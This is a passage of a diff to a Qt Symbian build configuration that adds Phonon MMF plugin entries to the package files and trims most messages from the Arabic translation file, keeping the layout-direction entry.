+file=ABI_DIR\BUILD_DIR\phonon_mmf.dll SHARED_LIB_DIR\phonon_mmf.dll
+data=\epoc32\data\z\resource\qt\plugins\phonon_backend\phonon_mmf.qtplugin resource\qt\plugins\phonon_backend\phonon_mmf.qtplugin
// QtMultimedia audio backend
file=ABI_DIR\BUILD_DIR\qaudio.dll SHARED_LIB_DIR\qaudio.dll
diff --git a/config.profiles/symbian/qt.pkg b/config.profiles/symbian/qt.pkg
index 7bd1c59..6ef51ce 100644
--- a/config.profiles/symbian/qt.pkg
+++ b/config.profiles/symbian/qt.pkg
@@ -62,7 +62,12 @@
"/epoc32/data/z/resource/qt/plugins/graphicssystems/qglgraphicssystem.qtplugin" - "!:\resource\qt\plugins\graphicssystems\qglgraphicssystem.qtplugin"
"/epoc32/release/armv5/urel/qsvgicon.dll" - "!:\sys\bin\qsvgicon.dll"
"/epoc32/data/z/resource/qt/plugins/iconengines/qsvgicon.qtplugin" - "!:\resource\qt\plugins\iconengines\qsvgicon.qtplugin"
-"/epoc32/data/z/resource/qt/plugins/bearer/qsymbianbearer.qtplugin" - "c:\resource\qt\plugins\bearer\qsymbianbearer.qtplugin"
+"/epoc32/data/z/resource/qt/plugins/bearer/qsymbianbearer.qtplugin" - "!:\resource\qt\plugins\bearer\qsymbianbearer.qtplugin"
+
+; Phonon MMF plugin
+"/epoc32/release/armv5/urel/phonon_mmf.dll" - "!:\sys\bin\phonon_mmf.dll"
+"/epoc32/data/z/resource/qt/plugins/phonon_backend/phonon_mmf.qtplugin" - "!:\resource\qt\plugins\phonon_backend\phonon_mmf.qtplugin"
+
"/epoc32/release/armv5/urel/qts60plugin_5_0.dll" - "!:\sys\bin\qts60plugin_5_0.dll"
diff --git a/config.profiles/symbian/translations/qt_ar.ts b/config.profiles/symbian/translations/qt_ar.ts
index f44dc98..aca2bd7 100644
--- a/config.profiles/symbian/translations/qt_ar.ts
+++ b/config.profiles/symbian/translations/qt_ar.ts
@@ -2,7820 +2,11 @@
<!DOCTYPE TS>
<TS version="2.0">
<context>
- <name>AudioOutput</name>
- <message>
- <location filename="../src/3rdparty/phonon/phonon/audiooutput.cpp" line="+375"/>
- <source>&lt;html&gt;The audio playback device &lt;b&gt;%1&lt;/b&gt; does not work.&lt;br/&gt;Falling back to &lt;b&gt;%2&lt;/b&gt;.&lt;/html&gt;</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+13"/>
- <source>&lt;html&gt;Switching to the audio playback device &lt;b&gt;%1&lt;/b&gt;&lt;br/&gt;which just became available and has higher preference.&lt;/html&gt;</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Revert back to device &apos;%1&apos;</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>CloseButton</name>
- <message>
- <location filename="../src/gui/widgets/qtabbar.cpp" line="+2251"/>
- <source>Close Tab</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>PPDOptionsModel</name>
- <message>
- <source>Name</source>
- <translation type="obsolete">الإسم</translation>
- </message>
-</context>
-<context>
- <name>Phonon::</name>
- <message>
- <location filename="../src/3rdparty/phonon/phonon/phononnamespace.cpp" line="+55"/>
- <source>Notifications</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Music</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Video</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Communication</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Games</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Accessibility</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>Phonon::Gstreamer::Backend</name>
- <message>
- <location filename="../src/3rdparty/phonon/gstreamer/backend.cpp" line="+171"/>
- <source>Warning: You do not seem to have the package gstreamer0.10-plugins-good installed.
- Some video features have been disabled.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Warning: You do not seem to have the base GStreamer plugins installed.
- All audio and video support has been disabled</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>Phonon::Gstreamer::MediaObject</name>
- <message>
- <location filename="../src/3rdparty/phonon/gstreamer/mediaobject.cpp" line="+90"/>
- <source>Cannot start playback.
-
-Check your Gstreamer installation and make sure you
-have libgstreamer-plugins-base installed.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+113"/>
- <source>A required codec is missing. You need to install the following codec(s) to play this content: %0</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+676"/>
- <location line="+8"/>
- <location line="+15"/>
- <location line="+9"/>
- <location line="+6"/>
- <location line="+19"/>
- <location line="+335"/>
- <location line="+24"/>
- <source>Could not open media source.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-403"/>
- <source>Invalid source type.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+377"/>
- <source>Could not locate media source.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+10"/>
- <source>Could not open audio device. The device is already in use.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+13"/>
- <source>Could not decode media source.</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>Phonon::VolumeSlider</name>
- <message>
- <location filename="../src/3rdparty/phonon/phonon/volumeslider.cpp" line="+42"/>
- <location line="+18"/>
- <source>Volume: %1%</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-15"/>
- <location line="+18"/>
- <location line="+54"/>
- <source>Use this slider to adjust the volume. The leftmost position is 0%, the rightmost is %1%</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>Q3Accel</name>
- <message>
- <location filename="../src/qt3support/other/q3accel.cpp" line="+481"/>
- <source>%1, %2 not defined</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+36"/>
- <source>Ambiguous %1 not handled</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>Q3DataTable</name>
- <message>
- <location filename="../src/qt3support/sql/q3datatable.cpp" line="+285"/>
- <source>True</source>
- <translation type="unfinished">صحيح</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>False</source>
- <translation type="unfinished">خاطئ</translation>
- </message>
- <message>
- <location line="+505"/>
- <source>Insert</source>
- <translation type="unfinished">إدراج</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Update</source>
- <translation type="unfinished">تحديث</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Delete</source>
- <translation type="unfinished">حذف</translation>
- </message>
-</context>
-<context>
- <name>Q3FileDialog</name>
- <message>
- <location filename="../src/qt3support/dialogs/q3filedialog.cpp" line="+864"/>
- <source>Copy or Move a File</source>
- <translation type="unfinished">نسخ أو تحريك ملفّ</translation>
- </message>
- <message>
- <location line="+8"/>
- <source>Read: %1</source>
- <translation type="unfinished">قراءة: %1</translation>
- </message>
- <message>
- <location line="+6"/>
- <location line="+30"/>
- <source>Write: %1</source>
- <translation type="unfinished">كتابة: %1</translation>
- </message>
- <message>
- <location line="-22"/>
- <location line="+1575"/>
- <source>Cancel</source>
- <translation type="unfinished">إلغاء</translation>
- </message>
- <message>
- <location line="-157"/>
- <location line="+49"/>
- <location line="+2153"/>
- <location filename="../src/qt3support/dialogs/q3filedialog_mac.cpp" line="+110"/>
- <source>All Files (*)</source>
- <translation type="unfinished">جميع الملفّات (*)</translation>
- </message>
- <message>
- <location line="-2089"/>
- <source>Name</source>
- <translation type="unfinished">الإسم</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Size</source>
- <translation type="unfinished">السّعة</translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Type</source>
- <translation type="unfinished">الطّراز</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Date</source>
- <translation type="unfinished">التّاريخ</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Attributes</source>
- <translation type="unfinished">الخاصّيات</translation>
- </message>
- <message>
- <location line="+35"/>
- <location line="+2031"/>
- <source>&amp;OK</source>
- <translation type="unfinished">&amp;موافقة</translation>
- </message>
- <message>
- <location line="-1991"/>
- <source>Look &amp;in:</source>
- <translation type="unfinished">بحث &amp;في:</translation>
- </message>
- <message>
- <location line="+1"/>
- <location line="+1981"/>
- <location line="+16"/>
- <source>File &amp;name:</source>
- <translation type="unfinished">إ&amp;سم الملفّ:</translation>
- </message>
- <message>
- <location line="-1996"/>
- <source>File &amp;type:</source>
- <translation type="unfinished">&amp;طراز الملفّ:</translation>
- </message>
- <message>
- <location line="+7"/>
- <source>Back</source>
- <translation type="unfinished">رجوع</translation>
- </message>
- <message>
- <location line="+7"/>
- <source>One directory up</source>
- <translation type="unfinished">دليل للأعلى</translation>
- </message>
- <message>
- <location line="+9"/>
- <source>Create New Folder</source>
- <translation type="unfinished">صنع دليل جديد</translation>
- </message>
- <message>
- <location line="+18"/>
- <source>List View</source>
- <translation type="unfinished">معاينة بالقائمة</translation>
- </message>
- <message>
- <location line="+8"/>
- <source>Detail View</source>
- <translation type="unfinished">معاينة مفصّلة</translation>
- </message>
- <message>
- <location line="+9"/>
- <source>Preview File Info</source>
- <translation type="unfinished">عرض مقدّم لمعلومات الملفّ</translation>
- </message>
- <message>
- <location line="+23"/>
- <source>Preview File Contents</source>
- <translation type="unfinished">عرض مقدّم لمحتويات الملفّ</translation>
- </message>
- <message>
- <location line="+88"/>
- <source>Read-write</source>
- <translation type="unfinished">قراءة-كتابة</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Read-only</source>
- <translation type="unfinished">قراءة فقط</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Write-only</source>
- <translation type="unfinished">كتابة فقط</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Inaccessible</source>
- <translation type="unfinished">مستحيل التّوصّل إليه</translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Symlink to File</source>
- <translation type="unfinished">وصل رمزي لملفّ</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Symlink to Directory</source>
- <translation type="unfinished">وصل رمزي لدليل</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Symlink to Special</source>
- <translation type="unfinished">وصل رمزي لملفّ خاصّ</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>File</source>
- <translation type="unfinished">ملفّ</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Dir</source>
- <translation type="unfinished">دليل</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Special</source>
- <translation type="unfinished">ملفّ خاصّ</translation>
- </message>
- <message>
- <location line="+704"/>
- <location line="+2100"/>
- <location filename="../src/qt3support/dialogs/q3filedialog_win.cpp" line="+337"/>
- <source>Open</source>
- <translation type="unfinished">فتح</translation>
- </message>
- <message>
- <location line="-1990"/>
- <location filename="../src/qt3support/dialogs/q3filedialog_win.cpp" line="+84"/>
- <source>Save As</source>
- <translation type="unfinished">حفظ تحت</translation>
- </message>
- <message>
- <location line="+642"/>
- <location line="+5"/>
- <location line="+355"/>
- <source>&amp;Open</source>
- <translation type="unfinished">&amp;فتح</translation>
- </message>
- <message>
- <location line="-357"/>
- <location line="+341"/>
- <source>&amp;Save</source>
- <translation type="unfinished">&amp;حفظ</translation>
- </message>
- <message>
- <location line="-334"/>
- <source>&amp;Rename</source>
- <translation type="unfinished">ت&amp;غيير الإسم</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>&amp;Delete</source>
- <translation type="unfinished">ح&amp;ذف</translation>
- </message>
- <message>
- <location line="+20"/>
- <source>R&amp;eload</source>
- <translation type="unfinished">إ&amp;عادة التّحميل</translation>
- </message>
- <message>
- <location line="+4"/>
- <source>Sort by &amp;Name</source>
- <translation type="unfinished">فرز بال&amp;إسم</translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Sort by &amp;Size</source>
- <translation type="unfinished">فرز بالسّ&amp;عة</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Sort by &amp;Date</source>
- <translation type="unfinished">فرز بالتّا&amp;ريخ</translation>
- </message>
- <message>
- <location line="+2"/>
- <source>&amp;Unsorted</source>
- <translation type="unfinished">غير &amp;مفروز</translation>
- </message>
- <message>
- <location line="+15"/>
- <source>Sort</source>
- <translation type="unfinished">فرز</translation>
- </message>
- <message>
- <location line="+4"/>
- <source>Show &amp;hidden files</source>
- <translation type="unfinished">ع&amp;رض الملفّات المخفية</translation>
- </message>
- <message>
- <location line="+31"/>
- <source>the file</source>
- <translation type="unfinished">الملفّ</translation>
- </message>
- <message>
- <location line="+2"/>
- <source>the directory</source>
- <translation type="unfinished">الدّليل</translation>
- </message>
- <message>
- <location line="+2"/>
- <source>the symlink</source>
- <translation type="unfinished">الوصل الرّمزي</translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Delete %1</source>
- <translation type="unfinished">حذف %1</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>&lt;qt&gt;Are you sure you wish to delete %1 &quot;%2&quot;?&lt;/qt&gt;</source>
- <translation type="unfinished">&lt;qt&gt;هل تريد فعلا حذف %1 &quot;%2&quot;؟&lt;/qt&gt;</translation>
- </message>
- <message>
- <location line="+2"/>
- <source>&amp;Yes</source>
- <translation type="unfinished">&amp;نعم</translation>
- </message>
- <message>
- <location line="+0"/>
- <source>&amp;No</source>
- <translation type="unfinished">&amp;لا</translation>
- </message>
- <message>
- <location line="+36"/>
- <source>New Folder 1</source>
- <translation type="unfinished">دليل جديد 1</translation>
- </message>
- <message>
- <location line="+5"/>
- <source>New Folder</source>
- <translation type="unfinished">دليل جديد</translation>
- </message>
- <message>
- <location line="+5"/>
- <source>New Folder %1</source>
- <translation type="unfinished">دليل جديد %1</translation>
- </message>
- <message>
- <location line="+98"/>
- <source>Find Directory</source>
- <translation type="unfinished">إيجاد الدّليل</translation>
- </message>
- <message>
- <location line="+5"/>
- <location line="+108"/>
- <source>Directories</source>
- <translation type="unfinished">دلائل</translation>
- </message>
- <message>
- <location line="-2"/>
- <source>Directory:</source>
- <translation type="unfinished">دليل:</translation>
- </message>
- <message>
- <location line="+40"/>
- <location line="+1110"/>
- <source>Error</source>
- <translation type="unfinished">خطأ</translation>
- </message>
- <message>
- <location line="-1109"/>
- <source>%1
-File not found.
-Check path and filename.</source>
- <translation type="unfinished">%1
-لم يتمّ إيجاد الملفّ.
-تحقّق من المسار و إسم الملفّ.</translation>
- </message>
- <message>
- <location filename="../src/qt3support/dialogs/q3filedialog_win.cpp" line="-289"/>
- <source>All Files (*.*)</source>
- <translation type="unfinished">جميع الملفّات (*.*)</translation>
- </message>
- <message>
- <location line="+375"/>
- <source>Open </source>
- <translation type="unfinished">فتح</translation>
- </message>
- <message>
- <location line="+155"/>
- <source>Select a Directory</source>
- <translation type="unfinished">انتقاء دليل</translation>
- </message>
-</context>
-<context>
- <name>Q3LocalFs</name>
- <message>
- <location filename="../src/qt3support/network/q3localfs.cpp" line="+130"/>
- <location line="+10"/>
- <source>Could not read directory
-%1</source>
- <translation type="unfinished">لم أستطع قراءة الدّليل
-%1</translation>
- </message>
- <message>
- <location line="+45"/>
- <source>Could not create directory
-%1</source>
- <translation type="unfinished">لم أستطع صنع الدّليل
-%1</translation>
- </message>
- <message>
- <location line="+34"/>
- <source>Could not remove file or directory
-%1</source>
- <translation type="unfinished">لم أستطع نزع الملفّ أو الدّليل
-%1</translation>
- </message>
- <message>
- <location line="+27"/>
- <source>Could not rename
-%1
-to
-%2</source>
- <translation type="unfinished">لم أستطع إعادة تسمية
-%1
-إلى
-%2</translation>
- </message>
- <message>
- <location line="+25"/>
- <source>Could not open
-%1</source>
- <translation type="unfinished">لم أستطع فتح
-%1</translation>
- </message>
- <message>
- <location line="+68"/>
- <source>Could not write
-%1</source>
- <translation type="unfinished">لم أستطع كتابة
-%1</translation>
- </message>
-</context>
-<context>
- <name>Q3MainWindow</name>
- <message>
- <location filename="../src/qt3support/widgets/q3mainwindow.cpp" line="+2051"/>
- <source>Line up</source>
- <translation type="unfinished">تصفيف</translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Customize...</source>
- <translation type="unfinished">تخصيص...</translation>
- </message>
-</context>
-<context>
- <name>Q3NetworkProtocol</name>
- <message>
- <location filename="../src/qt3support/network/q3networkprotocol.cpp" line="+854"/>
- <source>Operation stopped by the user</source>
- <translation type="unfinished">أوقفت العمليّة من طرف المستعمل</translation>
- </message>
-</context>
-<context>
- <name>Q3ProgressDialog</name>
- <message>
- <location filename="../src/qt3support/dialogs/q3progressdialog.cpp" line="+224"/>
- <location line="+61"/>
- <source>Cancel</source>
- <translation type="unfinished">إلغاء</translation>
- </message>
-</context>
-<context>
- <name>Q3TabDialog</name>
- <message>
- <location filename="../src/qt3support/dialogs/q3tabdialog.cpp" line="+189"/>
- <location line="+814"/>
- <source>OK</source>
- <translation type="unfinished">موافقة</translation>
- </message>
- <message>
- <location line="-356"/>
- <source>Apply</source>
- <translation type="unfinished">تطبيق</translation>
- </message>
- <message>
- <location line="+43"/>
- <source>Help</source>
- <translation type="unfinished">مساعدة</translation>
- </message>
- <message>
- <location line="+45"/>
- <source>Defaults</source>
- <translation type="unfinished">افتراضيات</translation>
- </message>
- <message>
- <location line="+50"/>
- <source>Cancel</source>
- <translation type="unfinished">إلغاء</translation>
- </message>
-</context>
-<context>
- <name>Q3TextEdit</name>
- <message>
- <location filename="../src/qt3support/text/q3textedit.cpp" line="+5429"/>
- <source>&amp;Undo</source>
- <translation type="unfinished">&amp;تراجع</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>&amp;Redo</source>
- <translation type="unfinished">إ&amp;عادة</translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Cu&amp;t</source>
- <translation type="unfinished">&amp;قصّ</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>&amp;Copy</source>
- <translation type="unfinished">&amp;نسخ</translation>
- </message>
- <message>
- <location line="+2"/>
- <source>&amp;Paste</source>
- <translation type="unfinished">ت&amp;لصيق</translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Clear</source>
- <translation type="unfinished">محو</translation>
- </message>
- <message>
- <location line="+4"/>
- <location line="+2"/>
- <source>Select All</source>
- <translation type="unfinished">انتقاء الجميع</translation>
- </message>
-</context>
-<context>
- <name>Q3TitleBar</name>
- <message>
- <location filename="../src/plugins/accessible/compat/q3complexwidgets.cpp" line="+246"/>
- <source>System</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Restore up</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Minimize</source>
- <translation type="unfinished">تصغير</translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Restore down</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Maximize</source>
- <translation type="unfinished">تكبير</translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Close</source>
- <translation type="unfinished">إغلاق</translation>
- </message>
- <message>
- <location line="+18"/>
- <source>Contains commands to manipulate the window</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Puts a minimized back to normal</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Moves the window out of the way</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Puts a maximized window back to normal</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Makes the window full screen</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Closes the window</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Displays the name of the window and contains controls to manipulate it</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>Q3ToolBar</name>
- <message>
- <location filename="../src/qt3support/widgets/q3toolbar.cpp" line="+692"/>
- <source>More...</source>
- <translation type="unfinished">أكثر...</translation>
- </message>
-</context>
-<context>
- <name>Q3UrlOperator</name>
- <message>
- <location filename="../src/qt3support/network/q3urloperator.cpp" line="+386"/>
- <location line="+260"/>
- <location line="+4"/>
- <source>The protocol `%1&apos; is not supported</source>
- <translation type="unfinished">المراسم &apos;%1&apos; غير مدعومة</translation>
- </message>
- <message>
- <location line="-260"/>
- <source>The protocol `%1&apos; does not support listing directories</source>
- <translation type="unfinished">المراسم &apos;%1&apos; لا تدعم وضع قوائم الدّلائل</translation>
- </message>
- <message>
- <location line="+3"/>
- <source>The protocol `%1&apos; does not support creating new directories</source>
- <translation type="unfinished">المراسم &apos;%1&apos; لا تدعم صنع دلائل جديدة</translation>
- </message>
- <message>
- <location line="+3"/>
- <source>The protocol `%1&apos; does not support removing files or directories</source>
- <translation type="unfinished">المراسم &apos;%1&apos; لا تدعم نزع الملفّات أو الدّلائل</translation>
- </message>
- <message>
- <location line="+3"/>
- <source>The protocol `%1&apos; does not support renaming files or directories</source>
- <translation type="unfinished">المراسم &apos;%1&apos; لا تدعم إعادة تسمية الملفّات أو الدّلائل</translation>
- </message>
- <message>
- <location line="+3"/>
- <source>The protocol `%1&apos; does not support getting files</source>
- <translation type="unfinished">المراسم &apos;%1&apos; لا تدعم استخلاص الملفّات</translation>
- </message>
- <message>
- <location line="+3"/>
- <source>The protocol `%1&apos; does not support putting files</source>
- <translation type="unfinished">المراسم &apos;%1&apos; لا تدعم وضع الملفّات</translation>
- </message>
- <message>
- <location line="+243"/>
- <location line="+4"/>
- <source>The protocol `%1&apos; does not support copying or moving files or directories</source>
- <translation type="unfinished">المراسم &apos;%1&apos; لا تدعم نسخ أو تحريك الملفّات أو الدّلائل</translation>
- </message>
- <message>
- <location line="+237"/>
- <location line="+1"/>
- <source>(unknown)</source>
- <translation type="unfinished">(مجهول)</translation>
- </message>
-</context>
-<context>
- <name>Q3Wizard</name>
- <message>
- <location filename="../src/qt3support/dialogs/q3wizard.cpp" line="+177"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished">&amp;إلغاء</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>&lt; &amp;Back</source>
- <translation type="unfinished">&lt; &amp;رجوع</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>&amp;Next &gt;</source>
- <translation type="unfinished">ال&amp;تّالي &gt;</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>&amp;Finish</source>
- <translation type="unfinished">إ&amp;نهاء</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>&amp;Help</source>
- <translation type="unfinished">&amp;مساعدة</translation>
- </message>
-</context>
-<context>
- <name>QAbstractSocket</name>
- <message>
- <location filename="../src/network/socket/qabstractsocket.cpp" line="+868"/>
- <location filename="../src/network/socket/qhttpsocketengine.cpp" line="+615"/>
- <location filename="../src/network/socket/qsocks5socketengine.cpp" line="+657"/>
- <location line="+26"/>
- <source>Host not found</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+50"/>
- <location filename="../src/network/socket/qhttpsocketengine.cpp" line="+3"/>
- <location filename="../src/network/socket/qsocks5socketengine.cpp" line="+4"/>
- <source>Connection refused</source>
- <translation type="unfinished">رفض الوصل</translation>
- </message>
- <message>
- <location line="+141"/>
- <source>Connection timed out</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-547"/>
- <location line="+787"/>
- <location line="+208"/>
- <source>Operation on socket is not supported</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+137"/>
- <source>Socket operation timed out</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+380"/>
- <source>Socket is not connected</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/network/socket/qsocks5socketengine.cpp" line="-8"/>
- <source>Network unreachable</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QAbstractSpinBox</name>
- <message>
- <location filename="../src/gui/widgets/qabstractspinbox.cpp" line="+1199"/>
- <source>&amp;Step up</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Step &amp;down</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-8"/>
- <source>&amp;Select All</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
<name>QApplication</name>
<message>
- <location filename="../src/gui/kernel/qapplication.cpp" line="+2248"/>
<source>QT_LAYOUT_DIRECTION</source>
<comment>Translate this string to the string &apos;LTR&apos; in left-to-right languages or to &apos;RTL&apos; in right-to-left languages (such as Hebrew and Arabic) to get proper widget layout.</comment>
<translation>RTL</translation>
</message>
- <message>
- <location filename="../src/gui/dialogs/qmessagebox.h" line="+352"/>
- <source>Executable &apos;%1&apos; requires Qt %2, found Qt %3.</source>
- <translation>البرنامج &apos;%1&apos; يتطلّب Qt %2، تمّ إيجاد Qt %3.</translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Incompatible Qt Library Error</source>
- <translation>خطأ: مكتبة Qt غير موافقة</translation>
- </message>
- <message>
- <location filename="../src/gui/accessible/qaccessibleobject.cpp" line="+376"/>
- <source>Activate</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Activates the program&apos;s main window</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QAxSelect</name>
- <message>
- <location filename="../src/activeqt/container/qaxselect.ui"/>
- <source>Select ActiveX Control</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <source>OK</source>
- <translation type="unfinished">موافقة</translation>
- </message>
- <message>
- <location/>
- <source>&amp;Cancel</source>
- <translation type="unfinished">&amp;إلغاء</translation>
- </message>
- <message>
- <location/>
- <source>COM &amp;Object:</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QCheckBox</name>
- <message>
- <location filename="../src/plugins/accessible/widgets/simplewidgets.cpp" line="+114"/>
- <source>Uncheck</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Check</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Toggle</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QColorDialog</name>
- <message>
- <location filename="../src/gui/dialogs/qcolordialog.cpp" line="+1253"/>
- <source>Hu&amp;e:</source>
- <translation>ال&amp;صّبغة:</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>&amp;Sat:</source>
- <translation>التّ&amp;شبّع:</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>&amp;Val:</source>
- <translation>ال&amp;قيمة:</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>&amp;Red:</source>
- <translation>أ&amp;حمر:</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>&amp;Green:</source>
- <translation>أ&amp;خضر:</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Bl&amp;ue:</source>
- <translation>أ&amp;زرق:</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>A&amp;lpha channel:</source>
- <translation>قناة أ&amp;لفا:</translation>
- </message>
- <message>
- <location line="+101"/>
- <source>Select Color</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+137"/>
- <source>&amp;Basic colors</source>
- <translation>الألوان القا&amp;عديّة</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>&amp;Custom colors</source>
- <translation>الأل&amp;وان المخصّصة</translation>
- </message>
- <message>
- <source>&amp;Define Custom Colors &gt;&gt;</source>
- <translation type="obsolete">تع&amp;ريف الألوان المخصّصة &gt;&gt;</translation>
- </message>
- <message>
- <source>OK</source>
- <translation type="obsolete">موافقة</translation>
- </message>
- <message>
- <source>Cancel</source>
- <translation type="obsolete">إلغاء</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>&amp;Add to Custom Colors</source>
- <translation>الإ&amp;ضافة إلى الألوان المخصّصة</translation>
- </message>
- <message>
- <source>Select color</source>
- <translation type="obsolete">إنتقاء اللّون</translation>
- </message>
-</context>
-<context>
- <name>QComboBox</name>
- <message>
- <location filename="../src/plugins/accessible/widgets/complexwidgets.cpp" line="+1771"/>
- <location line="+65"/>
- <source>Open</source>
- <translation type="unfinished">فتح</translation>
- </message>
- <message>
- <location filename="../src/gui/itemviews/qitemeditorfactory.cpp" line="+544"/>
- <source>False</source>
- <translation type="unfinished">خاطئ</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>True</source>
- <translation type="unfinished">صحيح</translation>
- </message>
- <message>
- <location filename="../src/plugins/accessible/widgets/complexwidgets.cpp" line="+0"/>
- <source>Close</source>
- <translation type="unfinished">إغلاق</translation>
- </message>
-</context>
-<context>
- <name>QCoreApplication</name>
- <message>
- <location filename="../src/corelib/kernel/qsystemsemaphore_unix.cpp" line="+119"/>
- <source>%1: key is empty</source>
- <comment>QSystemSemaphore</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+12"/>
- <source>%1: unable to make key</source>
- <comment>QSystemSemaphore</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+9"/>
- <source>%1: ftok failed</source>
- <comment>QSystemSemaphore</comment>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QDB2Driver</name>
- <message>
- <location filename="../src/sql/drivers/db2/qsql_db2.cpp" line="+1276"/>
- <source>Unable to connect</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+303"/>
- <source>Unable to commit transaction</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+17"/>
- <source>Unable to rollback transaction</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+15"/>
- <source>Unable to set autocommit</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QDB2Result</name>
- <message>
- <location line="-1043"/>
